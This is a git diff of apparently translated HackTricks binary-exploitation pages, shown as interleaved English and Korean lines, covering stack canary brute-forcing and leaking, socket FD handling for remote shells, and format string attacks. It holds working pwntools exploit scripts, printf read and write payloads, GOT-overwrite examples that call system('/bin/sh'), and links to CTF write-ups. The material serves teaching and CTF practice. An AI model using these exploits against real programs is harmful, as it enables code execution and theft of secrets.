print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## 스레드
## Threads
같은 프로세스의 스레드는 **같은 카나리 토큰을 공유**하므로, 이진 파일이 공격이 발생할 때마다 새로운 스레드를 생성하면 카나리를 **무차별 대입**할 수 있습니다.&#x20;
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;
게다가, 카나리로 보호된 **스레드 함수에서의 버퍼 오버플로우**는 **TLS에 저장된 마스터 카나리**를 **수정하는 데** 사용될 수 있습니다. 이는 스레드의 **스택**에서 **bof**를 통해 TLS가 저장된 메모리 위치에 도달할 수 있을 가능성이 있기 때문입니다.\
결과적으로, 완화 조치는 두 개의 동일한 카나리(수정된 카나리)와 함께 사용되기 때문에 무용지물입니다.\
이 공격은 다음의 글에서 수행됩니다: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
또한 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)에서 TLS가 **`mmap`**에 의해 저장되며, **스레드**의 **스택**이 생성될 때도 `mmap`에 의해 생성된다는 점을 언급하고 있습니다. 이는 이전 글에서 보여준 것처럼 오버플로우를 허용할 수 있습니다.
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
## Other examples & references
## 기타 예제 및 참고자료
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64비트, PIE 없음, nx, BF 카나리, 메모리에 ROP를 작성하여 `execve`를 호출하고 그곳으로 점프합니다.

View File

@ -4,30 +4,30 @@
## Enlarge printed stack
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
스택 오버플로우에 취약한 **프로그램**이 **스택 오버플로우**의 **일부**를 가리키는 **puts** 함수를 실행할 수 있는 상황을 상상해 보십시오. 공격자는 **canary의 첫 번째 바이트가 null 바이트**(`\x00`)이고 나머지 canary는 **무작위** 바이트라는 것을 알고 있습니다. 그러면 공격자는 **canary의 첫 번째 바이트**까지 스택을 **덮어쓰는** 오버플로우를 생성할 수 있습니다.
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
그런 다음 공격자는 페이로드의 중간에서 **puts 기능**을 호출하여 **canary를 모두 출력**합니다(첫 번째 null 바이트 제외).
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
이 정보를 통해 공격자는 **canary를 알고** 새로운 공격을 **구성하고 전송**할 수 있습니다(같은 프로그램 세션에서).
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
명백히, 이 전술은 공격자가 자신의 **페이로드**의 **내용**을 **출력**하여 **canary**를 **유출**할 수 있어야 하므로 매우 **제한적**입니다. 그런 다음 **새로운 페이로드**를 생성하고(같은 프로그램 세션에서) **실제 버퍼 오버플로우**를 **전송**할 수 있어야 합니다.
**CTF examples:**&#x20;
**CTF 예시:**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64비트, ASLR 활성화, PIE 없음, 첫 번째 단계는 canary의 바이트 0x00까지 오버플로우를 채운 다음 puts를 호출하여 유출하는 것입니다. canary로 ROP 가젯을 생성하여 puts를 호출하여 GOT에서 puts의 주소를 유출하고 `system('/bin/sh')`를 호출하는 ROP 가젯을 생성합니다.
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
- 32비트, ARM, relro 없음, canary, nx, pie 없음. canary를 유출하기 위해 puts를 호출하는 오버플로우 + ROP 체인을 사용하여 `system`을 호출하는 ret2lib로 r0(인수 `/bin/sh`)와 pc(시스템 주소)를 팝합니다.
## Arbitrary Read
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
형식 **문자열**이 제공하는 **임의 읽기**를 사용하면 canary를 유출할 수 있을지도 모릅니다. 이 예제를 확인하십시오: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) 및 다음에서 임의의 메모리 주소를 읽기 위해 형식 문자열을 악용하는 방법에 대해 읽을 수 있습니다:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack
- 이 도전 과제는 형식 문자열을 매우 간단하게 악용하여 스택에서 canary를 읽습니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# Common Exploiting Problems
# 일반적인 익스플로잇 문제
{{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation
## 원격 익스플로잇에서의 FD
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
예를 들어 **`system('/bin/sh')`**를 호출하는 익스플로잇을 원격 서버에 전송할 때, 이는 서버 프로세스에서 실행되며, `/bin/sh`는 stdin(FD: `0`)에서 입력을 기대하고 stdout 및 stderr(FDs `1``2`)에 출력을 인쇄합니다. 따라서 공격자는 셸과 상호작용할 수 없습니다.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
이를 해결하는 방법은 서버가 시작될 때 **FD 번호 `3`**(리스닝용)을 생성하고, 그 다음에 당신의 연결이 **FD 번호 `4`**에 있을 것이라고 가정하는 것입니다. 따라서 syscall **`dup2`**를 사용하여 stdin(FD 0)과 stdout(FD 1)을 FD 4(공격자의 연결)로 복제하는 것이 가능하므로, 셸이 실행되면 연락할 수 있게 됩니다.
[**여기서 익스플로잇 예제**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
socat은 이미 **`stdin`**과 **`stdout`**을 소켓으로 전송한다는 점에 유의하세요. 그러나 `pty` 모드는 **DELETE 문자를 포함합니다**. 따라서 `\x7f` ( `DELETE` -)를 보내면 **당신의 익스플로잇의 이전 문자를 삭제합니다**.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
이를 우회하기 위해서는 **전송되는 모든 `\x7f` 앞에 이스케이프 문자 `\x16`을 추가해야 합니다.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
**여기에서** [**이 동작의 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. 이 원시 텍스트의 **형식 지정자**를 **대체**할 **값**이 **다음 매개변수**로 기대됩니다.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **특별한 입력**을 만들어 **읽기 및 쓰기 가능한** **모든 주소의 데이터를 읽고 쓸 수** 있습니다. 이렇게 해서 **임의 코드를 실행**할 수 있습니다.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**예시:**
**Examples:**
- Vulnerable example:
- 취약한 예:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normal Use:
- 일반 사용:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- With Missing Arguments:
- 누락된 인수와 함께:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerable:
- fprintf 취약점:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **포인터 접근**
### **Accessing Pointers**
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
형식 **`%<n>$x`**에서 `n`은 숫자로, printf에 스택에서 n번째 매개변수를 선택하도록 지시합니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:
```c
printf("%x %x %x %x")
```
첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다.
and you would read from the first to the forth param.
Or you could do:
또는 다음과 같이 할 수 있습니다:
```c
printf("%4$x")
```
그리고 네 번째를 직접 읽습니다.
and read directly the forth.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
공격자가 `printf` **매개변수를 제어한다는 점에 유의하세요. 이는 기본적으로** 그의 입력이 `printf`가 호출될 때 스택에 있을 것임을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있음을 의미합니다.
> [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
> 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 이를 접근하게 할 수 있습니다**. 다음 섹션에서는 이 동작을 사용하는 방법에 대해 설명합니다.
## **Arbitrary Read**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
## **임의 읽기**
형식 지정자 **`%n$s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져오고 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 바이너리의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작된다는 것을 알고 있다면, 다음과 같이 바이너리의 시작 부분을 출력할 수 있습니다:
```python
from pwn import *
@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
> 입력의 시작 부분에 0x8048000 주소를 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다.
### Find offset
### 오프셋 찾기
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
입력에 대한 오프셋을 찾으려면 4 또는 8 바이트(`0x41414141`)를 보내고 **`%1$x`**를 뒤에 붙인 다음 `A's`를 검색할 때까지 값을 **증가**시킬 수 있습니다.
<details>
<summary>Brute Force printf offset</summary>
<summary>브루트 포스 printf 오프셋</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +102,82 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
# Close the process
p.close()
```
</details>
### How useful
### 얼마나 유용한가
Arbitrary reads can be useful to:
임의 읽기는 다음과 같은 용도로 유용할 수 있습니다:
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **메모리에서** **바이너리**를 **덤프**하기
- **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근하기** (예: [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)에서의 카나리, 암호화 키 또는 사용자 정의 비밀번호)
## **Arbitrary Write**
## **임의 쓰기**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
포맷터 **`%<num>$n`**은 **지정된 주소**에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`%<num>$n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있게 됩니다.
다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 대신 포맷터 **`%.<num-write>%<num>$n`**을 사용하여 **`<num-write>`** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
그러나 일반적으로 `0x08049724`와 같은 주소를 작성하기 위해 (한 번에 작성하기에는 매우 큰 숫자임) **`$hn`**이 **`$n`** 대신 사용된다는 점에 유의해야 합니다. 이렇게 하면 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다.
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
따라서 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있게** 합니다.
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
이 예제에서 목표는 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이 함수는 나중에 호출될 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키도록 할 것입니다.\
앞서 언급했듯이 주소를 쓰기 위해 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 작성하고 그 다음에 나머지 2바이트를 작성합니다. 이를 위해 **`$hn`**이 사용됩니다.
- **HOB** is called to the 2 higher bytes of the address
- **LOB** is called to the 2 lower bytes of the address
- **HOB**는 주소의 2개의 높은 바이트를 호출합니다.
- **LOB**는 주소의 2개의 낮은 바이트를 호출합니다.
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
그런 다음 포맷 문자열의 작동 방식 때문에 **먼저 더 작은** \[HOB, LOB]를 작성한 다음 다른 하나를 작성해야 합니다.
If HOB < LOB\
HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools 템플릿
### Pwntools Template
You can find a **template** to prepare a exploit for this kind of vulnerability in:
이러한 종류의 취약점을 위한 익스플로잇을 준비하는 **템플릿**을 다음에서 찾을 수 있습니다:
{{#ref}}
format-strings-template.md
{{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 이 기본 예제를 확인하세요:
```python
from pwn import *
@ -225,27 +196,21 @@ p.sendline('/bin/sh')
p.interactive()
```
## 포맷 문자열을 통한 BOF
## Format Strings to BOF
포맷 문자열 취약점의 쓰기 작업을 악용하여 **스택의 주소에 쓰기****버퍼 오버플로우** 유형의 취약점을 이용할 수 있습니다.
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
## Other Examples & References
## 기타 예제 및 참고자료
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- 32비트, no relro, no canary, nx, no pie, 스택에서 플래그를 누출하기 위한 포맷 문자열의 기본 사용 (실행 흐름을 변경할 필요 없음)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32비트, relro, no canary, nx, no pie, win 함수로 `fflush` 주소를 덮어쓰는 포맷 문자열 (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
- 32비트, relro, no canary, nx, no pie, `.fini_array` 내의 main 주소에 쓰기 위한 포맷 문자열 (흐름이 한 번 더 루프하도록) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소에 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력으로 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다.
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,29 +4,24 @@
## Read Binary Start
### Code
### 코드
```c
#include <stdio.h>
int main(void) {
char buffer[30];
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
printf(buffer);
return 0;
}
```
Compile it with:
다음과 같이 컴파일하세요:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploit
### 익스플로잇
```python
from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
- **오프셋은 11**입니다. 여러 개의 A를 설정하고 **브루트 포싱**을 통해 0에서 50까지의 오프셋을 찾은 결과, 오프셋 11에서 5개의 추가 문자(우리의 경우 파이프 `|`)와 함께 전체 주소를 제어할 수 있음을 발견했습니다.
- **`%11$p`**를 사용하여 패딩을 추가하여 주소가 모두 0x4141414141414141이 되도록 했습니다.
- **포맷 문자열 페이로드는 주소 앞에** 있어야 합니다. **printf는 널 바이트에서 읽기를 멈추기 때문에**, 주소를 보내고 나서 포맷 문자열을 보내면, printf는 널 바이트가 먼저 발견되어 포맷 문자열에 도달하지 못합니다.
- 선택된 주소는 0x00400000입니다. 이 주소는 바이너리가 시작되는 곳입니다(PIE 없음).
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords
## 비밀번호 읽기
```c
#include <stdio.h>
#include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
return 0;
}
```
Compile it with:
다음과 같이 컴파일하세요:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### 스택에서 읽기
### Read from stack
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
**`stack_password`**는 로컬 변수이기 때문에 스택에 저장됩니다. 따라서 printf를 악용하여 스택의 내용을 보여주는 것만으로 충분합니다. 이는 스택에서 비밀번호를 유출하기 위해 처음 100개의 위치를 BF하는 익스플로잇입니다:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
이미지에서 `10번째` 위치에서 스택에서 비밀번호를 유출할 수 있음을 볼 수 있습니다:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data
### 데이터 읽기
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
`%s` 대신 `%p`를 사용하여 동일한 익스플로잇을 실행하면 `%25$p`에서 스택에서 힙 주소를 유출할 수 있습니다. 또한, 유출된 주소(`0xaaaab7030894`)를 해당 프로세스의 메모리에서 비밀번호의 위치와 비교하면 주소 차이를 얻을 수 있습니다:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
이제 두 번째 포맷 문자열 취약점에서 접근하기 위해 스택에서 1개의 주소를 제어하는 방법을 찾아야 합니다:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
And it's possible to see that in the **try 14** with the used passing we can control an address:
그리고 사용된 패스를 통해 **try 14**에서 주소를 제어할 수 있음을 확인할 수 있습니다:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
